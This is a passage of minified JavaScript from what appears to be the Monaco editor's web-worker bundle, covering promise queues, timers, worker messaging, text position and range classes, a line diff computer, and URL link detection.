e(e){this.maxDegreeOfParalellism=e,this.outstandingPromises=[],this.runningPromises=0,this._onFinished=new a.Emitter}return Object.defineProperty(e.prototype,\"onFinished\",{get:function(){return this._onFinished.event},enumerable:!0,configurable:!0}),e.prototype.queue=function(e){var t=this;return new i.TPromise(function(n,r,i){t.outstandingPromises.push({factory:e,c:n,e:r,p:i}),t.consume()})},e.prototype.consume=function(){for(var e=this;this.outstandingPromises.length&&this.runningPromises<this.maxDegreeOfParalellism;){var t=this.outstandingPromises.shift();this.runningPromises++;var n=t.factory();n.done(t.c,t.e,t.p),n.done(function(){return e.consumed()},function(){return e.consumed()})}},e.prototype.consumed=function(){this.runningPromises--,this.outstandingPromises.length>0?this.consume():this._onFinished.fire()},e.prototype.dispose=function(){this._onFinished.dispose()},e}();t.Limiter=v;var y=function(e){function t(){return e.call(this,1)||this}return o(t,e),t}(v);t.Queue=y,t.setDisposableTimeout=function(e,t){for(var n=[],r=2;r<arguments.length;r++)n[r-2]=arguments[r];var i=setTimeout.apply(void 0,[e,t].concat(n));return{dispose:function(){clearTimeout(i)}}};var b=function(e){function t(){var t=e.call(this)||this;return t._token=-1,t}return o(t,e),t.prototype.dispose=function(){this.cancel(),e.prototype.dispose.call(this)},t.prototype.cancel=function(){-1!==this._token&&(r.clearTimeout(this._token),this._token=-1)},t.prototype.cancelAndSet=function(e,t){var n=this;this.cancel(),this._token=r.setTimeout(function(){n._token=-1,e()},t)},t.prototype.setIfNotSet=function(e,t){var n=this;-1===this._token&&(this._token=r.setTimeout(function(){n._token=-1,e()},t))},t}(u.Disposable);t.TimeoutTimer=b;var C=function(e){function t(){var t=e.call(this)||this;return t._token=-1,t}return o(t,e),t.prototype.dispose=function(){this.cancel(),e.prototype.dispose.call(this)},t.prototype.cancel=function(){-1!==this._token&&(r.clearInterval(this._token),this._token=-1)},t.prototype.cancelAndSet=function(e,t){this.cancel(),this._token=r.setInterval(function(){e()},t)},t}(u.Disposable);t.IntervalTimer=C;var E=function(){function e(e,t){this.timeoutToken=-1,this.runner=e,this.timeout=t,this.timeoutHandler=this.onTimeout.bind(this)}return e.prototype.dispose=function(){this.cancel(),this.runner=null},e.prototype.cancel=function(){this.isScheduled()&&(r.clearTimeout(this.timeoutToken),this.timeoutToken=-1)},e.prototype.setRunner=function(e){this.runner=e},e.prototype.schedule=function(e){void 0===e&&(e=this.timeout),this.cancel(),this.timeoutToken=r.setTimeout(this.timeoutHandler,e)},e.prototype.isScheduled=function(){return-1!==this.timeoutToken},e.prototype.onTimeout=function(){this.timeoutToken=-1,this.runner&&this.runner()},e}();t.RunOnceScheduler=E,t.nfcall=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];return new i.TPromise(function(n,r){return e.apply(void 0,t.concat([function(e,t){return e?r(e):n(t)}]))},function(){return null})},t.ninvoke=function(e,t){for(var n=[],r=2;r<arguments.length;r++)n[r-2]=arguments[r];return new i.TPromise(function(r,i){return t.call.apply(t,[e].concat(n,[function(e,t){return e?i(e):r(t)}]))},function(){return null})}}),r(e[31],t([1,0,8,10,2,18,4]),function(e,t,n,r,i,s,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=\"$initialize\",l=!1;t.logOnceWebWorkerWarning=function(e){u.isWeb&&(l||(l=!0,console.warn(\"Could not create web worker(s). Falling back to loading web worker code in main thread, which might cause UI freezes. Please see https://github.com/Microsoft/monaco-editor#faq\")),console.warn(e.message))};var c=function(){function e(e){this._workerId=-1,this._handler=e,this._lastSentReq=0,this._pendingReplies=Object.create(null)}return e.prototype.setWorkerId=function(e){this._workerId=e},e.prototype.sendMessage=function(e,t){var n=String(++this._lastSentReq),r={c:null,e:null},o=new i.TPromise(function(e,t,n){r.c=e,r.e=t},function(){});return this._pendingReplies[n]=r,this._send({vsWorker:this._workerId,req:n,method:e,args:t}),o},e.prototype.handleMessage=function(e){var t;try{t=JSON.parse(e)}catch(e){}t.vsWorker&&(-1!==this._workerId&&t.vsWorker!==this._workerId||this._handleMessage(t))},e.prototype._handleMessage=function(e){var t=this;if(e.seq){var r=e;if(!this._pendingReplies[r.seq])return void console.warn(\"Got reply to unknown seq\");var i=this._pendingReplies[r.seq];if(delete this._pendingReplies[r.seq],r.err){var o=r.err;return r.err.$isError&&((o=new Error).name=r.err.name,o.message=r.err.message,o.stack=r.err.stack),void i.e(o)}i.c(r.res)}else{var s=e,u=s.req;this._handler.handleMessage(s.method,s.args).then(function(e){t._send({vsWorker:t._workerId,seq:u,res:e,err:void 0})},function(e){t._send({vsWorker:t._workerId,seq:u,res:void 0,err:n.transformErrorForSerialization(e)})})}},e.prototype._send=function(e){var t=JSON.stringify(e);this._handler.sendMessage(t)},e}(),f=function(e){function t(t,n){var r=e.call(this)||this;r._lastRequestTimestamp=-1;var o=null,s=null;r._worker=r._register(t.create(\"vs/base/common/worker/simpleWorker\",function(e){r._protocol.handleMessage(e)},function(e){s(e)})),r._protocol=new c({sendMessage:function(e){r._worker.postMessage(e)},handleMessage:function(e,t){return i.TPromise.as(null)}}),r._protocol.setWorkerId(r._worker.getId());var u=null,l=self.require;\"function\"==typeof l.getConfig?u=l.getConfig():void 0!==self.requirejs&&(u=self.requirejs.s.contexts._.config),r._lazyProxy=new i.TPromise(function(e,t,n){o=e,s=t},function(){}),r._onModuleLoaded=r._protocol.sendMessage(a,[r._worker.getId(),n,u]),r._onModuleLoaded.then(function(e){for(var t={},n=0;n<e.length;n++)t[e[n]]=h(e[n],f);o(t)},function(e){s(e),r._onError(\"Worker failed to load \"+n,e)});var f=function(e,t){return r._request(e,t)},h=function(e,t){return function(){var n=Array.prototype.slice.call(arguments,0);return t(e,n)}};return r}return o(t,e),t.prototype.getProxyObject=function(){return new s.ShallowCancelThenPromise(this._lazyProxy)},t.prototype.getLastRequestTimestamp=function(){return this._lastRequestTimestamp},t.prototype._request=function(e,t){var n=this;return new i.TPromise(function(r,i,o){n._onModuleLoaded.then(function(){n._lastRequestTimestamp=Date.now(),n._protocol.sendMessage(e,t).then(r,i)},i)},function(){})},t.prototype._onError=function(e,t){console.error(e),console.info(t)},t}(r.Disposable);t.SimpleWorkerClient=f;var h=function(){function t(e){var t=this;this._protocol=new c({sendMessage:function(t){e(t)},handleMessage:function(e,n){return t._handleMessage(e,n)}})}return t.prototype.onmessage=function(e){this._protocol.handleMessage(e)},t.prototype._handleMessage=function(e,t){if(e===a)return this.initialize(t[0],t[1],t[2]);if(!this._requestHandler||\"function\"!=typeof this._requestHandler[e])return i.TPromise.wrapError(new Error(\"Missing requestHandler or method: \"+e));try{return i.TPromise.as(this._requestHandler[e].apply(this._requestHandler,t))}catch(e){return i.TPromise.wrapError(e)}},t.prototype.initialize=function(t,n,r){var o=this;if(this._protocol.setWorkerId(t),r){void 0!==r.baseUrl&&delete r.baseUrl,void 0!==r.paths&&void 0!==r.paths.vs&&delete r.paths.vs;var s=r[\"vs/nls\"];s&&s.pseudo&&e([\"vs/nls\"],function(e){e.setPseudoTranslation(s.pseudo)}),r.catchError=!0,self.require.config(r)}var u,a,l=new i.TPromise(function(e,t,n){u=e,a=t});return self.require([n],function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=e[0];o._requestHandler=n.create();var r=[];for(var i in o._requestHandler)\"function\"==typeof o._requestHandler[i]&&r.push(i);u(r)},a),l},t}();t.SimpleWorkerServer=h,t.create=function(e){return new h(e)}}),r(e[3],t([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e,t){this.lineNumber=e,this.column=t}return e.prototype.equals=function(t){return e.equals(this,t)},e.equals=function(e,t){return!e&&!t||!!e&&!!t&&e.lineNumber===t.lineNumber&&e.column===t.column},e.prototype.isBefore=function(t){return e.isBefore(this,t)},e.isBefore=function(e,t){return e.lineNumber<t.lineNumber||!(t.lineNumber<e.lineNumber)&&e.column<t.column},e.prototype.isBeforeOrEqual=function(t){return e.isBeforeOrEqual(this,t)},e.isBeforeOrEqual=function(e,t){return e.lineNumber<t.lineNumber||!(t.lineNumber<e.lineNumber)&&e.column<=t.column},e.compare=function(e,t){var n=0|e.lineNumber,r=0|t.lineNumber;return n===r?(0|e.column)-(0|t.column):n-r},e.prototype.clone=function(){return new e(this.lineNumber,this.column)},e.prototype.toString=function(){return\"(\"+this.lineNumber+\",\"+this.column+\")\"},e.lift=function(t){return new e(t.lineNumber,t.column)},e.isIPosition=function(e){return e&&\"number\"==typeof e.lineNumber&&\"number\"==typeof e.column},e}();t.Position=n}),r(e[5],t([1,0,3]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e,t,n,r){e>n||e===n&&t>r?(this.startLineNumber=n,this.startColumn=r,this.endLineNumber=e,this.endColumn=t):(this.startLineNumber=e,this.startColumn=t,this.endLineNumber=n,this.endColumn=r)}return e.prototype.isEmpty=function(){return e.isEmpty(this)},e.isEmpty=function(e){return e.startLineNumber===e.endLineNumber&&e.startColumn===e.endColumn},e.prototype.containsPosition=function(t){return e.containsPosition(this,t)},e.containsPosition=function(e,t){return!(t.lineNumber<e.startLineNumber||t.lineNumber>e.endLineNumber)&&(!(t.lineNumber===e.startLineNumber&&t.column<e.startColumn)&&!(t.lineNumber===e.endLineNumber&&t.column>e.endColumn))},e.prototype.containsRange=function(t){return e.containsRange(this,t)},e.containsRange=function(e,t){return!(t.startLineNumber<e.startLineNumber||t.endLineNumber<e.startLineNumber)&&(!(t.startLineNumber>e.endLineNumber||t.endLineNumber>e.endLineNumber)&&(!(t.startLineNumber===e.startLineNumber&&t.startColumn<e.startColumn)&&!(t.endLineNumber===e.endLineNumber&&t.endColumn>e.endColumn)))},e.prototype.plusRange=function(t){return e.plusRange(this,t)},e.plusRange=function(t,n){var r,i,o,s;return n.startLineNumber<t.startLineNumber?(r=n.startLineNumber,i=n.startColumn):n.startLineNumber===t.startLineNumber?(r=n.startLineNumber,i=Math.min(n.startColumn,t.startColumn)):(r=t.startLineNumber,i=t.startColumn),n.endLineNumber>t.endLineNumber?(o=n.endLineNumber,s=n.endColumn):n.endLineNumber===t.endLineNumber?(o=n.endLineNumber,s=Math.max(n.endColumn,t.endColumn)):(o=t.endLineNumber,s=t.endColumn),new e(r,i,o,s)},e.prototype.intersectRanges=function(t){return e.intersectRanges(this,t)},e.intersectRanges=function(t,n){var r=t.startLineNumber,i=t.startColumn,o=t.endLineNumber,s=t.endColumn,u=n.startLineNumber,a=n.startColumn,l=n.endLineNumber,c=n.endColumn;return r<u?(r=u,i=a):r===u&&(i=Math.max(i,a)),o>l?(o=l,s=c):o===l&&(s=Math.min(s,c)),r>o?null:r===o&&i>s?null:new e(r,i,o,s)},e.prototype.equalsRange=function(t){return e.equalsRange(this,t)},e.equalsRange=function(e,t){return!!e&&!!t&&e.startLineNumber===t.startLineNumber&&e.startColumn===t.startColumn&&e.endLineNumber===t.endLineNumber&&e.endColumn===t.endColumn},e.prototype.getEndPosition=function(){return new n.Position(this.endLineNumber,this.endColumn)},e.prototype.getStartPosition=function(){return new n.Position(this.startLineNumber,this.startColumn)},e.prototype.cloneRange=function(){return new e(this.startLineNumber,this.startColumn,this.endLineNumber,this.endColumn)},e.prototype.toString=function(){return\"[\"+this.startLineNumber+\",\"+this.startColumn+\" -> \"+this.endLineNumber+\",\"+this.endColumn+\"]\"},e.prototype.setEndPosition=function(t,n){return new e(this.startLineNumber,this.startColumn,t,n)},e.prototype.setStartPosition=function(t,n){return new e(t,n,this.endLineNumber,this.endColumn)},e.prototype.collapseToStart=function(){return e.collapseToStart(this)},e.collapseToStart=function(t){return new e(t.startLineNumber,t.startColumn,t.startLineNumber,t.startColumn)},e.fromPositions=function(t,n){return void 0===n&&(n=t),new e(t.lineNumber,t.column,n.lineNumber,n.column)},e.lift=function(t){return t?new e(t.startLineNumber,t.startColumn,t.endLineNumber,t.endColumn):null},e.isIRange=function(e){return e&&\"number\"==typeof e.startLineNumber&&\"number\"==typeof e.startColumn&&\"number\"==typeof e.endLineNumber&&\"number\"==typeof e.endColumn},e.areIntersectingOrTouching=function(e,t){return!(e.endLineNumber<t.startLineNumber||e.endLineNumber===t.startLineNumber&&e.endColumn<t.startColumn)&&!(t.endLineNumber<e.startLineNumber||t.endLineNumber===e.startLineNumber&&t.endColumn<e.startColumn)},e.compareRangesUsingStarts=function(e,t){var n=0|e.startLineNumber,r=0|t.startLineNumber;if(n===r){var i=0|e.startColumn,o=0|t.startColumn;if(i===o){var s=0|e.endLineNumber,u=0|t.endLineNumber;return s===u?(0|e.endColumn)-(0|t.endColumn):s-u}return i-o}return n-r},e.compareRangesUsingEnds=function(e,t){return e.endLineNumber===t.endLineNumber?e.endColumn===t.endColumn?e.startLineNumber===t.startLineNumber?e.startColumn-t.startColumn:e.startLineNumber-t.startLineNumber:e.endColumn-t.endColumn:e.endLineNumber-t.endLineNumber},e.spansMultipleLines=function(e){return e.endLineNumber>e.startLineNumber},e}();t.Range=r}),r(e[22],t([1,0,5,3]),function(e,t,n,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var i;!function(e){e[e.LTR=0]=\"LTR\",e[e.RTL=1]=\"RTL\"}(i=t.SelectionDirection||(t.SelectionDirection={}));var s=function(e){function t(t,n,r,i){var o=e.call(this,t,n,r,i)||this;return o.selectionStartLineNumber=t,o.selectionStartColumn=n,o.positionLineNumber=r,o.positionColumn=i,o}return o(t,e),t.prototype.clone=function(){return new t(this.selectionStartLineNumber,this.selectionStartColumn,this.positionLineNumber,this.positionColumn)},t.prototype.toString=function(){return\"[\"+this.selectionStartLineNumber+\",\"+this.selectionStartColumn+\" -> \"+this.positionLineNumber+\",\"+this.positionColumn+\"]\"},t.prototype.equalsSelection=function(e){return t.selectionsEqual(this,e)},t.selectionsEqual=function(e,t){return e.selectionStartLineNumber===t.selectionStartLineNumber&&e.selectionStartColumn===t.selectionStartColumn&&e.positionLineNumber===t.positionLineNumber&&e.positionColumn===t.positionColumn},t.prototype.getDirection=function(){return this.selectionStartLineNumber===this.startLineNumber&&this.selectionStartColumn===this.startColumn?i.LTR:i.RTL},t.prototype.setEndPosition=function(e,n){return this.getDirection()===i.LTR?new t(this.startLineNumber,this.startColumn,e,n):new t(e,n,this.startLineNumber,this.startColumn)},t.prototype.getPosition=function(){return new r.Position(this.positionLineNumber,this.positionColumn)},t.prototype.setStartPosition=function(e,n){return this.getDirection()===i.LTR?new t(e,n,this.endLineNumber,this.endColumn):new t(this.endLineNumber,this.endColumn,e,n)},t.fromPositions=function(e,n){return void 0===n&&(n=e),new t(e.lineNumber,e.column,n.lineNumber,n.column)},t.liftSelection=function(e){return new t(e.selectionStartLineNumber,e.selectionStartColumn,e.positionLineNumber,e.positionColumn)},t.selectionsArrEqual=function(e,t){if(e&&!t||!e&&t)return!1;if(!e&&!t)return!0;if(e.length!==t.length)return!1;for(var n=0,r=e.length;n<r;n++)if(!this.selectionsEqual(e[n],t[n]))return!1;return!0},t.isISelection=function(e){return e&&\"number\"==typeof e.selectionStartLineNumber&&\"number\"==typeof e.selectionStartColumn&&\"number\"==typeof e.positionLineNumber&&\"number\"==typeof e.positionColumn},t.createWithDirection=function(e,n,r,o,s){return s===i.LTR?new t(e,n,r,o):new t(r,o,e,n)},t}(n.Range);t.Selection=s}),r(e[23],t([1,0]),function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=function(){function e(e,t,n){this.offset=0|e,this.type=t,this.language=n}return e.prototype.toString=function(){return\"(\"+this.offset+\", \"+this.type+\")\"},e}();t.Token=n;var r=function(){return function(e,t){this.tokens=e,this.endState=t}}();t.TokenizationResult=r;var i=function(){return function(e,t){this.tokens=e,this.endState=t}}();t.TokenizationResult2=i}),r(e[7],t([1,0]),function(e,t){\"use strict\";function n(e){return e<0?0:e>4294967295?4294967295:0|e}Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(e,t,n){for(var r=new Uint8Array(e*t),i=0,o=e*t;i<o;i++)r[i]=n;this._data=r,this._rows=e,this._cols=t}return e.prototype.get=function(e,t){return this._data[e*this._cols+t]},e.prototype.set=function(e,t,n){this._data[e*this._cols+t]=n},e}();t.Uint8Matrix=r;!function(e){e[e.MAX_SAFE_SMALL_INTEGER=1073741824]=\"MAX_SAFE_SMALL_INTEGER\",e[e.MIN_SAFE_SMALL_INTEGER=-1073741824]=\"MIN_SAFE_SMALL_INTEGER\",e[e.MAX_UINT_8=255]=\"MAX_UINT_8\",e[e.MAX_UINT_16=65535]=\"MAX_UINT_16\",e[e.MAX_UINT_32=4294967295]=\"MAX_UINT_32\"}(t.Constants||(t.Constants={})),t.toUint8=function(e){return e<0?0:e>255?255:0|e},t.toUint32=n,t.toUint32Array=function(e){for(var t=e.length,r=new Uint32Array(t),i=0;i<t;i++)r[i]=n(e[i]);return r}}),r(e[25],t([1,0,7]),function(e,t,n){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r=function(){function e(t){var r=n.toUint8(t);this._defaultValue=r,this._asciiMap=e._createAsciiMap(r),this._map=new Map}return e._createAsciiMap=function(e){for(var t=new Uint8Array(256),n=0;n<256;n++)t[n]=e;return t},e.prototype.set=function(e,t){var r=n.toUint8(t);e>=0&&e<256?this._asciiMap[e]=r:this._map.set(e,r)},e.prototype.get=function(e){return e>=0&&e<256?this._asciiMap[e]:this._map.get(e)||this._defaultValue},e}();t.CharacterClassifier=r;var i;!function(e){e[e.False=0]=\"False\",e[e.True=1]=\"True\"}(i||(i={}));var o=function(){function e(){this._actual=new r(0)}return e.prototype.add=function(e){this._actual.set(e,1)},e.prototype.has=function(e){return 1===this._actual.get(e)},e}();t.CharacterSet=o}),r(e[26],t([1,0,12,20]),function(e,t,n,r){\"use strict\";function i(e,t,r,i){return new n.LcsDiff(e,t,r).ComputeDiff(i)}function s(e){if(e.length<=1)return e;for(var t=[e[0]],n=t[0],r=1,i=e.length;r<i;r++){var o=e[r],s=o.originalStart-(n.originalStart+n.originalLength),u=o.modifiedStart-(n.modifiedStart+n.modifiedLength);Math.min(s,u)<a?(n.originalLength=o.originalStart+o.originalLength-n.originalStart,n.modifiedLength=o.modifiedStart+o.modifiedLength-n.modifiedStart):(t.push(o),n=o)}return t}Object.defineProperty(t,\"__esModule\",{value:!0});var u=5e3,a=3,l=function(){function e(e,t,n){this.buffer=e,this.startMarkers=t,this.endMarkers=n}return e.prototype.equals=function(t){if(!(t instanceof e))return!1;var n=t;if(this.getLength()!==n.getLength())return!1;for(var r=0,i=this.getLength();r<i;r++)if(this.getElementHash(r)!==n.getElementHash(r))return!1;return!0},e.prototype.getLength=function(){return this.startMarkers.length},e.prototype.getElementHash=function(e){return this.buffer.substring(this.startMarkers[e].offset,this.endMarkers[e].offset)},e.prototype.getStartLineNumber=function(e){return e===this.startMarkers.length?this.startMarkers[e-1].lineNumber+1:this.startMarkers[e].lineNumber},e.prototype.getStartColumn=function(e){return this.startMarkers[e].column},e.prototype.getEndLineNumber=function(e){return this.endMarkers[e].lineNumber},e.prototype.getEndColumn=function(e){return this.endMarkers[e].column},e}(),c=function(e){function t(n){for(var r=\"\",i=[],o=[],s=0,u=0,a=n.length;u<a;u++){r+=n[u];var l=t._getFirstNonBlankColumn(n[u],1),c=t._getLastNonBlankColumn(n[u],1);i.push({offset:s+l-1,lineNumber:u+1,column:l}),o.push({offset:s+c-1,lineNumber:u+1,column:c}),s+=n[u].length}return e.call(this,r,i,o)||this}return o(t,e),t._getFirstNonBlankColumn=function(e,t){var n=r.firstNonWhitespaceIndex(e);return-1===n?t:n+1},t._getLastNonBlankColumn=function(e,t){var n=r.lastNonWhitespaceIndex(e);return-1===n?t:n+2},t.prototype.getCharSequence=function(e,t){for(var n=[],r=[],i=e;i<=t;i++)for(var o=this.startMarkers[i],s=this.endMarkers[i],u=o.offset;u<s.offset;u++)n.push({offset:u,lineNumber:o.lineNumber,column:o.column+(u-o.offset)}),r.push({offset:u+1,lineNumber:o.lineNumber,column:o.column+(u-o.offset)+1});return new l(this.buffer,n,r)},t}(l),f=function(){function e(e,t,n,r,i,o,s,u){this.originalStartLineNumber=e,this.originalStartColumn=t,this.originalEndLineNumber=n,this.originalEndColumn=r,this.modifiedStartLineNumber=i,this.modifiedStartColumn=o,this.modifiedEndLineNumber=s,this.modifiedEndColumn=u}return e.createFromDiffChange=function(t,n,r){var i,o,s,u,a,l,c,f;return 0===t.originalLength?(i=0,o=0,s=0,u=0):(i=n.getStartLineNumber(t.originalStart),o=n.getStartColumn(t.originalStart),s=n.getEndLineNumber(t.originalStart+t.originalLength-1),u=n.getEndColumn(t.originalStart+t.originalLength-1)),0===t.modifiedLength?(a=0,l=0,c=0,f=0):(a=r.getStartLineNumber(t.modifiedStart),l=r.getStartColumn(t.modifiedStart),c=r.getEndLineNumber(t.modifiedStart+t.modifiedLength-1),f=r.getEndColumn(t.modifiedStart+t.modifiedLength-1)),new e(i,o,s,u,a,l,c,f)},e}(),h=function(){function e(e,t,n,r,i){this.originalStartLineNumber=e,this.originalEndLineNumber=t,this.modifiedStartLineNumber=n,this.modifiedEndLineNumber=r,this.charChanges=i}return e.createFromDiffResult=function(t,n,r,o,u){var a,l,c,h,d;if(0===t.originalLength?(a=n.getStartLineNumber(t.originalStart)-1,l=0):(a=n.getStartLineNumber(t.originalStart),l=n.getEndLineNumber(t.originalStart+t.originalLength-1)),0===t.modifiedLength?(c=r.getStartLineNumber(t.modifiedStart)-1,h=0):(c=r.getStartLineNumber(t.modifiedStart),h=r.getEndLineNumber(t.modifiedStart+t.modifiedLength-1)),0!==t.originalLength&&0!==t.modifiedLength&&o()){var p=n.getCharSequence(t.originalStart,t.originalStart+t.originalLength-1),m=r.getCharSequence(t.modifiedStart,t.modifiedStart+t.modifiedLength-1),_=i(p,m,o,!1);u&&(_=s(_)),d=[];for(var g=0,v=_.length;g<v;g++)d.push(f.createFromDiffChange(_[g],p,m))}return new e(a,l,c,h,d)},e}(),d=function(){function e(e,t,n){this.shouldPostProcessCharChanges=n.shouldPostProcessCharChanges,this.shouldIgnoreTrimWhitespace=n.shouldIgnoreTrimWhitespace,this.shouldMakePrettyDiff=n.shouldMakePrettyDiff,this.maximumRunTimeMs=u,this.originalLines=e,this.modifiedLines=t,this.original=new c(e),this.modified=new c(t),n.shouldConsiderTrimWhitespaceInEmptyCase&&this.shouldIgnoreTrimWhitespace&&this.original.equals(this.modified)&&(this.shouldIgnoreTrimWhitespace=!1)}return e.prototype.computeDiff=function(){if(1===this.original.getLength()&&0===this.original.getElementHash(0).length)return[{originalStartLineNumber:1,originalEndLineNumber:1,modifiedStartLineNumber:1,modifiedEndLineNumber:this.modified.getLength(),charChanges:[{modifiedEndColumn:0,modifiedEndLineNumber:0,modifiedStartColumn:0,modifiedStartLineNumber:0,originalEndColumn:0,originalEndLineNumber:0,originalStartColumn:0,originalStartLineNumber:0}]}];if(1===this.modified.getLength()&&0===this.modified.getElementHash(0).length)return[{originalStartLineNumber:1,originalEndLineNumber:this.original.getLength(),modifiedStartLineNumber:1,modifiedEndLineNumber:1,charChanges:[{modifiedEndColumn:0,modifiedEndLineNumber:0,modifiedStartColumn:0,modifiedStartLineNumber:0,originalEndColumn:0,originalEndLineNumber:0,originalStartColumn:0,originalStartLineNumber:0}]}];this.computationStartTime=(new Date).getTime();var e=i(this.original,this.modified,this._continueProcessingPredicate.bind(this),this.shouldMakePrettyDiff);if(this.shouldIgnoreTrimWhitespace){for(var t=[],n=0,r=e.length;n<r;n++)t.push(h.createFromDiffResult(e[n],this.original,this.modified,this._continueProcessingPredicate.bind(this),this.shouldPostProcessCharChanges));return t}for(var o=[],s=0,u=0,n=-1,a=e.length;n<a;n++){for(var l=n+1<a?e[n+1]:null,f=l?l.originalStart:this.originalLines.length,d=l?l.modifiedStart:this.modifiedLines.length;s<f&&u<d;){var p=this.originalLines[s],m=this.modifiedLines[u];if(p!==m){for(var _=c._getFirstNonBlankColumn(p,1),g=c._getFirstNonBlankColumn(m,1);_>1&&g>1&&(E=p.charCodeAt(_-2))===(S=m.charCodeAt(g-2));)_--,g--;(_>1||g>1)&&this._pushTrimWhitespaceCharChange(o,s+1,1,_,u+1,1,g);for(var v=c._getLastNonBlankColumn(p,1),y=c._getLastNonBlankColumn(m,1),b=p.length+1,C=m.length+1;v<b&&y<C;){var E=p.charCodeAt(v-1),S=p.charCodeAt(y-1);if(E!==S)break;v++,y++}(v<b||y<C)&&this._pushTrimWhitespaceCharChange(o,s+1,v,b,u+1,y,C)}s++,u++}l&&(o.push(h.createFromDiffResult(l,this.original,this.modified,this._continueProcessingPredicate.bind(this),this.shouldPostProcessCharChanges)),s+=l.originalLength,u+=l.modifiedLength)}return o},e.prototype._pushTrimWhitespaceCharChange=function(e,t,n,r,i,o,s){this._mergeTrimWhitespaceCharChange(e,t,n,r,i,o,s)||e.push(new h(t,t,i,i,[new f(t,n,t,r,i,o,i,s)]))},e.prototype._mergeTrimWhitespaceCharChange=function(e,t,n,r,i,o,s){var u=e.length;if(0===u)return!1;var a=e[u-1];return 0!==a.originalEndLineNumber&&0!==a.modifiedEndLineNumber&&(a.originalEndLineNumber+1===t&&a.modifiedEndLineNumber+1===i&&(a.originalEndLineNumber=t,a.modifiedEndLineNumber=i,a.charChanges.push(new f(t,n,t,r,i,o,i,s)),!0))},e.prototype._continueProcessingPredicate=function(){return 0===this.maximumRunTimeMs||(new Date).getTime()-this.computationStartTime<this.maximumRunTimeMs},e}();t.DiffComputer=d}),r(e[27],t([1,0]),function(e,t){\"use strict\";function n(e,t,n,r){var i=e-1-r,o=n.lastIndexOf(\" \",i-1)+1,s=n.indexOf(\" \",i);-1===s&&(s=n.length),t.lastIndex=o;for(var u;u=t.exec(n);)if(u.index<=i&&t.lastIndex>=i)return{word:u[0],startColumn:r+1+u.index,endColumn:r+1+t.lastIndex};return null}function r(e,t,n,r){var i=e-1-r;t.lastIndex=0;for(var o;o=t.exec(n);){if(o.index>i)return null;if(t.lastIndex>=i)return{word:o[0],startColumn:r+1+o.index,endColumn:r+1+t.lastIndex}}return null}Object.defineProperty(t,\"__esModule\",{value:!0}),t.USUAL_WORD_SEPARATORS=\"`~!@#$%^&*()-=+[{]}\\\\|;:'\\\",.<>/?\",t.DEFAULT_WORD_REGEXP=function(e){void 0===e&&(e=\"\");for(var n=t.USUAL_WORD_SEPARATORS,r=\"(-?\\\\d*\\\\.\\\\d\\\\w*)|([^\",i=0;i<n.length;i++)e.indexOf(n[i])>=0||(r+=\"\\\\\"+n[i]);return r+=\"\\\\s]+)\",new RegExp(r,\"g\")}(),t.ensureValidWordDefinition=function(e){var n=t.DEFAULT_WORD_REGEXP;if(e&&e instanceof RegExp)if(e.global)n=e;else{var r=\"g\";e.ignoreCase&&(r+=\"i\"),e.multiline&&(r+=\"m\"),n=new RegExp(e.source,r)}return n.lastIndex=0,n},t.getWordAtText=function(e,t,i,o){t.lastIndex=0;var s=t.exec(i);if(!s)return null;var u=s[0].indexOf(\" \")>=0?r(e,t,i,o):n(e,t,i,o);return t.lastIndex=0,u}}),r(e[28],t([1,0,25,7]),function(e,t,n,r){\"use strict\";function i(){return null===l&&(l=new a([[1,104,2],[1,72,2],[1,102,6],[1,70,6],[2,116,3],[2,84,3],[3,116,4],[3,84,4],[4,112,5],[4,80,5],[5,115,9],[5,83,9],[5,58,10],[6,105,7],[6,73,7],[7,108,8],[7,76,8],[8,101,9],[8,69,9],[9,58,10],[10,47,11],[11,47,12]])),l}function o(){if(null===c){c=new n.CharacterClassifier(0);for(e=0;e<\" \\t<>'\\\"、。｡､，．：；？！＠＃＄％＆＊‘“〈《「『【〔（［｛｢｣｝］）〕】』」》〉”’｀～…\".length;e++)c.set(\" \\t<>'\\\"、。｡､，．：；？！＠＃＄％＆＊‘“〈《「『【〔（［｛｢｣｝］）〕】』」》〉”’｀～…\".charCodeAt(e),1);for(var e=0;e<\".,;\".length;e++)c.set(\".,;\".charCodeAt(e),2)}return c}Object.defineProperty(t,\"__esModule\",{value:!0});var s;!function(e){e[e.Invalid=0]=\"Invalid\",e[e.Start=1]=\"Start\",e[e.H=2]=\"H\",e[e.HT=3]=\"HT\",e[e.HTT=4]=\"HTT\",e[e.HTTP=5]=\"HTTP\",e[e.F=6]=\"F\",e[e.FI=7]=\"FI\",e[e.FIL=8]=\"FIL\",e[e.BeforeColon=9]=\"BeforeColon\",e[e.AfterColon=10]=\"AfterColon\",e[e.AlmostThere=11]=\"AlmostThere\",e[e.End=12]=\"End\",e[e.Accept=13]=\"Accept\"}(s||(s={}));var u,a=function(){function e(e){for(var t=0,n=0,i=0,o=e.length;i<o;i++){var s=e[i],u=s[0],a=s[1],l=s[2];a>t&&(t=a),u>n&&(n=u),l>n&&(n=l)}t++,n++;for(var c=new r.Uint8Matrix(n,t,0),i=0,o=e.length;i<o;i++){var f=e[i],u=f[0],a=f[1],l=f[2];c.set(u,a,l)}this._states=c,this._maxCharCode=t}return e.prototype.nextState=function(e,t){return t<0||t>=this._maxCharCode?0:this._states.get(e,t)},e}(),l=null;!function(e){e[e.None=0]=\"None\",e[e.ForceTermination=1]=\"ForceTermination\",e[e.CannotEndIn=2]=\"CannotEndIn\"}(u||(u={}));var c=null,f=function(){function e(){}return e._createLink=function(e,t,n,r,i){var o=i-1;do{var s=t.charCodeAt(o);if(2!==e.get(s))break;o--}while(o>r);return{range:{startLineNumber:n,startColumn:r+1,endLineNumber:n,endColumn:o+2},url:t.substring(r,o+1)}},e.computeLinks=function(t){for(var n=i(),r=o(),s=[],u=1,a=t.getLineCount();u<=a;u++){for(var l=t.getLineContent(u),c=l.length,f=0,h=0,d=0,p=1,m=!1,_=!1,g=!1;f<c;){var v=!1,y=l.charCodeAt(f);if(13===p){var b=void 